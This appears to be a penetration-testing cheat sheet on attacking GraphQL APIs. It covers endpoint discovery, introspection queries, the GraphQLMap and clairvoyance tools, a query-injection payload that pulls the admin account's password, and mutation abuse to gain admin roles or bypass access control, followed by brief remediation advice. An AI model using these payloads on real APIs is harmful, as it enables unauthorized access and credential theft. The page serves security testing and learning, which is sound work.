GraphQL
GraphQL (Graph Query Language) is an open-source query language for APIs. It's used by GitHub, Shopify, and Facebook internally.
- GraphQL Documentation (βͺ)
- GitHub (19.8k β)
It was designed to provide a more efficient, powerful, and flexible alternative to traditional REST APIs. It solves a problem of REST APIs which is under- and over-fetching.
There is only one endpoint. We can perform multiple queries in one request. Look for: /api/graphql
, /graphql
, /graphiql
, etc.
Look into the JavaScript Source Code and you may find if it's used.
To query the id,username
of the user
with id=123
:
query {
# if available, list all users as "users"
users: user { id, username }
# query one user
user(id: 123) {
id
username
}
}
GraphQLMap
GraphQLMap (1.3k β, 2023 πͺ¦) was developed by the owner of PayloadsAllTheThings. It allows us to send GraphQL queries to an endpoint rather easily. It also provide a few utilities.
$ pipx install git+https://github.com/swisskyrepo/GraphQLmap
$ pipx runpip graphqlmap install requests
$ graphqlmap -h
It can dump the schema and present it in a nice representation.
A basic usage:
$ graphqlmap -u 'https://example.com/api/graphql' --headers '{"Authorization": "Bearer ..."}' --method POST
prompt> query { account(username: "admin") { id, username, password } }
Introspection πΊοΈ
Introspection refer to dumping the API schema. It's often disabled in production.
Introspection β Manual Queries
Each object has a type. Each type has attributes. The type may have a constructor with arguments that are required to query an object.
{__schema{types{name}}}
{__schema{types{name,fields{name}}}}
{__schema{types{name,fields{name},description}}}
{__schema{types{name,fields{name,args{name,description,type{name,kind,ofType{name, kind}}}}}}}
After identifying the types and their arguments, we can query them:
{MyType{field1, field2}}
{MyType(arg:value){field1, field2}}
β‘οΈ When errors are enabled, you can receive suggestions from GraphQL like a type or attribute name that is similar to your input.
Introspection β Graphical WebUI
GraphQL Voyager (7.7k β) can take the input from your introspection query or from tools such as clairvoyance and display it as a graph.
Introspection β clairvoyance
clairvoyance (1.0k β) can be used to dump the schema:
$ pipx install git+https://github.com/nikitastupin/clairvoyance
$ clairvoyance 'https://example.com/api/graphql' -o schema.json
GraphQL Injections
GraphQL Query Injection
Much like SQL, you can manipulate a query if user input is added directly to the query without any sanitization.
query {
product(name: "$prodname") {
id
name
description
}
}
The normal expected input would be:
prodname = "toy"
But a malicious user could use the code below. We use #
to avoid handling the rest of the request.
username = 'toy"){\nid\n}\naccount(username:"admin"){\nid,username,password\n}#'
Another alternative would be to close the query{
by using \n}
.
GraphQL Mutation Queries
When introspecting the database, we may find mutations. They are functions allowing us to add/edit the database.
createAccount[]: id (Int!), username (String!), password (String!)
You can invoke it as follows:
mutation {
createAccount(id: 5, username: "admin", password: "abc") { id, username }
}
The main issues are:
- π Creating records to bypass access control (role=admin)
- πͺ¦ Creating records to perform an attack such as XSS
- π¦ Updating records to bypass access control (role=admin)
- π₯ Creating/Updating records to exploit references and access unintended objects. For instance, if we were blocked access to B, but we can create an object A that is referencing an object B, then by querying A, we may be able to access B.
query { notes { id, flag } } # blocked
query { post(id: 1) { id, notes { id, flag } } } # OK
π» To-do π»
Stuff that I found, but never read/used yet.
Remediation
- RateLimit alone is not very useful as multiple queries in one request
- SizeLimit should be enforced to block long requests
- Access Control should be implemented (ex: JWT)
- The server should validate types and values